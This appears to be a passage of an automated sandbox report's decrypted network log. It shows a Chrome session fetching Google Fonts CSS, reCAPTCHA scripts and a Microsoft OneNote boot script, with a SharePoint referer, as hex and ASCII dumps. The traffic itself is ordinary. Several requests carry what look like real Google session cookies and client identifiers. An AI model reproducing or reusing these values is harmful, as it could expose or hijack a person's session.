2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 64 58 5a 65 72 61 41 53 56 54 31 74 4e 70 2d 54 74 6c 48 4f 58 51 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="dXZeraASVT1tNp-TtlHOXQ" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 48 48 6e 6a 51 72 63 6f 4d 4c 74 6d 48 4c 4e 79 6d 34 78 36 46 55 61 67 2d 4c 44 5f 67 44 72 49 4a 73 38 73 42 76 5f 30 36 78 30 4c 71 53 5f 55 41 58 79 65 57 64 4b 6a 36 72 49 70 50 61 61 50 47 4e 6d 51 50 45 54 4a 5f 71 5f 35 66 2d 51 54 4b 64 32 41 39 6e 4f 76 4b 46 57 71 51 75 73 4a 72 55 77 66 77 4f 52 32 55 2d 41 35 4b 67 67 36 6c 50 46 77 52 36 68 4a 32 34 70 49 52 67 77 6a 61 43 74 70 67 71 4e 74 73 30 63 4a 4d 75 6e 31 69 69 59 59 37 2d 66 74 41 75 48 65 77 75 53 54 62 75 50 70 6d 32 43 5f 53 68 32 52 58 72 37 6b 77 58 46 4d 4e 41 69 53 46 44 2d 6b 51 53 4a 5f 43 56 4d 58 4c 34 7a 59 53 52 48 6f 70 34 35 41 70 64 70 52 61 44 67 4d 76 38 56 79 49 4a 59 68 38 4c 73 77 56 4b 7a 35 73 34 59 54 46 75 57 6d 42 33 36 54 36 6f 6b 5a 59 55 6b 56 62 49 34 Data Ascii: HHnjQrcoMLtmHLNym4x6FUag-LD_gDrIJs8sBv_06x0LqS_UAXyeWdKj6rIpPaaPGNmQPETJ_q_5f-QTKd2A9nOvKFWqQusJrUwfwOR2U-A5Kgg6lPFwR6hJ24pIRgwjaCtpgqNts0cJMun1iiYY7-ftAuHewuSTbuPpm2C_Sh2RXr7kwXFMNAiSFD-kQSJ_CVMXL4zYSRHop45ApdpRaDgMv8VyIJYh8LswVKz5s4YTFuWmB36T6okZYUkVbI4
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 44 5a 6a 71 61 4a 78 4c 30 6d 75 76 4d 61 57 56 57 78 66 53 56 50 42 42 42 74 68 61 4d 47 65 53 57 33 41 56 50 62 73 67 6a 70 64 4b 57 64 6d 65 6e 6b 44 44 47 42 34 4c 37 32 6e 79 56 59 7a 32 58 73 73 4a 57 5a 6b 45 6e 71 6d 57 62 4b 7a 50 4c 78 4d 68 46 58 75 65 55 37 67 56 62 4c 41 49 52 53 5f 52 71 43 4c 6b 30 38 50 51 33 35 72 4b 63 59 38 47 53 33 56 48 5a 46 61 58 54 49 4c 47 38 6a 57 57 2d 70 45 64 4c 5f 69 53 4e 6e 72 52 30 44 68 6c 5f 70 6d 57 4a 47 36 6d 4d 74 50 66 62 57 4f 54 44 2d 66 54 30 43 37 33 6f 6e 6d 4e 35 59 2d 2d 68 4c 6d 4e 77 71 72 52 65 68 6d 6f 46 78 6c 52 46 32 74 75 48 47 6b 34 65 56 7a 54 4f 41 42 57 61 41 77 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d Data Ascii: DZjqaJxL0muvMaWVWxfSVPBBBthaMGeSW3AVPbsgjpdKWdmenkDDGB4L72nyVYz2XssJWZkEnqmWbKzPLxMhFXueU7gVbLAIRS_RqCLk08PQ35rKcY8GS3VHZFaXTILG8jWW-pEdL_iSNnrR0Dhl_pmWJG6mMtPfbWOTD-fT0C73onmN5Y--hLmNwqrRehmoFxlRF2tuHGk4eVzTOABWaAw"><script type="text/javascript" nonce=
2024-04-26 07:59:58 UTC	588	IN	Data Raw: 39 4b 56 6d 70 4f 53 56 67 79 57 6b 5a 4c 4d 33 56 74 53 58 42 4c 63 6c 46 75 62 57 39 45 52 47 46 75 53 6b 56 77 63 7a 67 30 65 6a 42 59 53 56 64 4e 4e 6c 46 30 57 6d 46 30 59 6d 6b 35 54 55 6b 78 57 45 70 77 5a 47 52 70 51 55 68 46 65 45 52 58 51 33 68 4a 55 33 70 4c 59 55 74 7a 59 7a 52 68 63 48 56 68 5a 47 31 42 4d 7a 64 75 54 32 74 72 61 46 6c 6c 52 6b 70 45 53 45 4a 59 55 56 4e 35 61 32 6b 77 63 69 74 54 52 6e 5a 30 5a 32 4e 71 5a 32 68 57 53 69 39 7a 62 44 64 4a 61 47 78 48 59 57 6c 77 57 58 42 6e 51 57 35 43 4f 46 70 42 51 33 46 56 53 47 4e 4f 4e 32 78 44 65 55 35 30 52 32 39 6f 53 58 42 7a 55 48 46 51 4f 54 67 77 55 56 52 6a 55 31 68 57 4d 48 56 36 56 32 6c 4d 56 6c 70 50 51 33 6c 61 4f 57 35 55 65 6d 6c 30 4d 6e 6b 30 53 7a 64 50 56 6e 52 6b 4c Data Ascii: 9KVmpOSVgyWkZLM3VtSXBLclFubW9ERGFuSkVwczg0ejBYSVdNNlF0WmF0Ymk5TUkxWEpwZGRpQUhFeERXQ3hJU3pLYUtzYzRhcHVhZG1BMzduT2traFllRkpESEJYUVN5a2kwcitTRnZ0Z2NqZ2hWSi9zbDdJaGxHYWlwWXBnQW5COFpBQ3FVSGNON2xDeU50R29oSXBzUHFQOTgwUVRjU1hWMHV6V2lMVlpPQ3laOW5Ueml0Mnk0SzdPVnRkL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49998	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:59 UTC	732	OUT	GET /wise/owl/onenote-boot.54b073a3a339f2b9cd42.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:59 UTC	1185	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 36557 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:59 GMT Last-Modified: Thu, 25 Apr 2024 21:45:12 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1315783842620022883814826333298855286576"}],"include_subdomains ":true} Server: ECAcc (mid/8744) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: c7d9d842-001e-0009-205a-972dd3000000 Content-Length: 149717 Connection: close
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4d 69 63 72 6f 73 6f 66 74 3f 4d 69 63 72 6f 73 6f 66 74 3a 7b 7d 3b 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 7c 7c 7b 7d 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c Data Ascii: var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(e){var t={};function n(i){if(t[i])return t[i].exports;var o=t[i]={i:i,l:!1,exports:{}};return e[i].call(o.exports,o,o.exports,n),
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5a 74 29 2c 74 68 69 73 2e 58 74 26 26 73 65 6c 66 2e 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2e 58 74 29 2c 74 68 69 73 2e 5a 74 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 58 74 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 47 74 3d 76 6f 69 64 20 30 2c 74 68 69 73 2e 7a 74 2e 72 65 6d 6f 76 65 41 6c 6c 28 29 7d 2c 65 7d 28 29 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 52 65 62 6f 6f 74 3d 22 61 70 70 52 65 62 6f 6f 74 22 2c 65 2e 62 6f 6f 74 3d 22 62 6f 6f 74 22 2c 65 2e 63 6c 6f 73 65 54 61 62 3d 22 63 6c 6f 73 65 54 61 62 22 2c 65 2e 63 72 65 61 74 65 4e 65 77 3d 22 63 72 65 61 74 65 4e 65 77 22 2c 65 2e 64 69 73 70 6f 73 65 3d 22 64 69 73 70 6f 73 65 22 2c 65 2e 66 72 Data Ascii: learTimeout(this.Zt),this.Xt&&self.cancelIdleCallback(this.Xt),this.Zt=void 0,this.Xt=void 0,this.Gt=void 0,this.zt.removeAll()},e}();!function(e){e.appReboot="appReboot",e.boot="boot",e.closeTab="closeTab",e.createNew="createNew",e.dispose="dispose",e.fr
2024-04-26 07:59:59 UTC	2	IN	Data Raw: 74 68 Data Ascii: th
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 69 73 2e 24 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 65 28 65 2c 22 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 22 2b 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 2c 74 29 7d 2c 74 68 69 73 2e 5a 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 65 28 65 2c 22 4f 6e 55 6e 6c 6f 61 64 22 2c 74 29 7d 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 65 66 6f 72 65 75 6e 6c 6f 61 64 22 2c 74 68 69 73 2e 71 6f 2c 7b 63 61 70 74 75 72 65 3a 21 30 2c 6f 6e 63 65 3a 21 30 7d 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 67 65 68 69 64 65 22 2c 74 68 69 73 2e 4b 6f 2c 7b 63 61 70 74 75 72 65 3a 21 30 7d 29 2c 77 69 6e 64 6f Data Ascii: is.$o=function(){return ge(e,"VisibilityChange_"+document.visibilityState,t)},this.Zo=function(){return ge(e,"OnUnload",t)},window.addEventListener("beforeunload",this.qo,{capture:!0,once:!0}),window.addEventListener("pagehide",this.Ko,{capture:!0}),windo
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 6f 20 73 75 62 6d 69 74 20 6f 6e 20 72 65 74 72 79 2e 20 45 72 72 6f 72 3a 20 22 2e 63 6f 6e 63 61 74 28 6a 28 65 29 29 29 2c 65 7d 29 29 7d 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 56 69 73 69 62 69 6c 69 74 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 49 73 26 26 55 65 28 74 68 69 73 2e 49 73 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 4d 65 73 73 61 67 65 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 77 72 3d 65 2c 74 68 69 73 2e 62 73 26 26 74 68 69 73 2e 62 73 2e 73 65 74 4d 65 73 73 61 67 65 48 61 6e 64 6c 65 72 28 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 57 72 61 70 70 65 72 50 6f 73 74 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 79 73 Data Ascii: o submit on retry. Error: ".concat(j(e))),e}))}},e.prototype.setVisibility=function(e){this.Is&&Ue(this.Is,e)},e.prototype.setMessageHandler=function(e){this.wr=e,this.bs&&this.bs.setMessageHandler(e)},e.prototype.setWrapperPostMessage=function(e){this.ys
2024-04-26 07:59:59 UTC	2	IN	Data Raw: 69 64 Data Ascii: id
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 28 6f 2e 57 73 26 26 75 3d 3d 3d 4b 2e 79 6e 26 26 28 6f 2e 52 73 2e 70 75 73 68 28 63 29 2c 6f 2e 6a 74 2e 55 4c 53 2e 4a 65 28 35 34 33 32 30 37 38 38 38 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 4b 65 70 74 20 66 6f 72 20 6c 61 74 65 72 20 70 72 6f 63 65 73 73 3a 20 22 2e 63 6f 6e 63 61 74 28 75 29 29 29 29 3b 6f 2e 6a 74 2e 55 4c 53 2e 4a 65 28 35 39 36 34 36 34 32 38 38 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 22 2e 63 6f 6e 63 61 74 28 75 29 29 2c 75 3d 3d 3d 4b 2e 71 6e 26 26 28 63 2e 56 61 6c 75 65 73 3d 72 28 72 28 7b 7d 2c 63 2e 56 61 6c 75 65 73 7c 7c 7b 7d 29 2c 7b 73 65 6e 64 54 69 6d 65 41 73 43 6c 69 63 6b 54 69 6d 65 3a 63 2e 53 65 6e 64 54 69 6d 65 7d 29 29 3b 74 72 79 7b 64 28 63 2e Data Ascii: (o.Ws&&u===K.yn&&(o.Rs.push(c),o.jt.ULS.Je(543207888,C.B,A.Info,"Kept for later process: ".concat(u))));o.jt.ULS.Je(596464288,C.B,A.Info,"Processing message: ".concat(u)),u===K.qn&&(c.Values=r(r({},c.Values\|\|{}),{sendTimeAsClickTime:c.SendTime}));try{d(c.
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 61 2e 56 61 2c 35 65 33 29 2c 61 2e 68 61 2e 72 65 67 69 73 74 65 72 4d 65 73 73 61 67 65 50 61 79 6c 6f 61 64 48 61 6e 64 6c 65 72 28 4b 2e 6e 6e 2c 61 2e 42 61 29 2c 61 2e 68 61 2e 72 65 67 69 73 74 65 72 4d 65 73 73 61 67 65 50 61 79 6c 6f 61 64 48 61 6e 64 6c 65 72 28 4b 2e 47 6e 2c 61 2e 4c 61 29 3b 76 61 72 20 65 3d 6e 65 77 20 77 74 28 61 2e 6c 61 2c 61 2e 46 61 2c 61 2e 6a 74 2c 61 2e 68 61 2c 61 2e 43 61 2c 61 2e 50 61 29 3b 61 2e 4d 73 3d 65 2e 42 6f 6f 74 28 29 2c 61 2e 6a 61 26 26 61 2e 6a 61 28 61 2e 4d 73 29 7d 2c 74 68 69 73 2e 4a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 50 61 72 61 6c 6c 65 6c 69 7a 65 53 74 61 72 74 53 65 73 73 69 6f 6e 3a 61 2e 4d 61 2c 57 61 63 46 Data Ascii: window.setTimeout(a.Va,5e3),a.ha.registerMessagePayloadHandler(K.nn,a.Ba),a.ha.registerMessagePayloadHandler(K.Gn,a.La);var e=new wt(a.la,a.Fa,a.jt,a.ha,a.Ca,a.Pa);a.Ms=e.Boot(),a.ja&&a.ja(a.Ms)},this.Ja=function(){var e={ParallelizeStartSession:a.Ma,WacF
2024-04-26 07:59:59 UTC	16383	IN	Data Raw: 29 2c 72 2b 3d 31 2c 6f 2d 3d 32 2a 65 2e 63 61 63 68 65 49 74 65 6d 4c 65 6e 67 74 68 29 7d 29 29 2c 72 3e 30 29 7b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 2d 72 3b 66 74 2e 6c 6f 67 67 65 72 2e 55 4c 53 2e 4a 65 28 35 35 37 31 31 34 38 33 39 2c 43 2e 42 2c 41 2e 49 6e 66 6f 2c 22 4f 70 65 72 61 74 69 6f 6e 3d 45 76 69 63 74 53 74 61 6c 65 43 61 63 68 65 2c 20 44 75 72 61 74 69 6f 6e 3d 22 2e 63 6f 6e 63 61 74 28 4e 28 29 2d 6e 2c 22 2c 20 63 6f 75 6e 74 3d 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2c 20 72 65 6d 61 69 6e 69 6e 67 3d 22 29 2e 63 6f 6e 63 61 74 28 73 29 29 7d 7d 63 61 74 63 68 28 65 29 7b 66 74 2e 6c 6f 67 67 65 72 2e 55 4c 53 2e 4a 65 28 35 35 37 31 31 34 38 34 30 2c 43 2e 42 2c 41 2e 45 72 72 6f 72 2c 22 46 61 69 6c 75 72 65 20 74 6f 20 Data Ascii: ),r+=1,o-=2*e.cacheItemLength)})),r>0){var s=i.length-r;ft.logger.ULS.Je(557114839,C.B,A.Info,"Operation=EvictStaleCache, Duration=".concat(N()-n,", count=").concat(r,", remaining=").concat(s))}}catch(e){ft.logger.ULS.Je(557114840,C.B,A.Error,"Failure to
2024-04-26 07:59:59 UTC	3	IN	Data Raw: 79 7b 6e Data Ascii: y{n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50000	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:59 UTC	1427	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfop Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:00 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Fri, 26 Apr 2024 08:00:00 GMT Date: Fri, 26 Apr 2024 08:00:00 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:00 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js');
2024-04-26 08:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50001	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:00 UTC	1415	OUT	GET /js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: 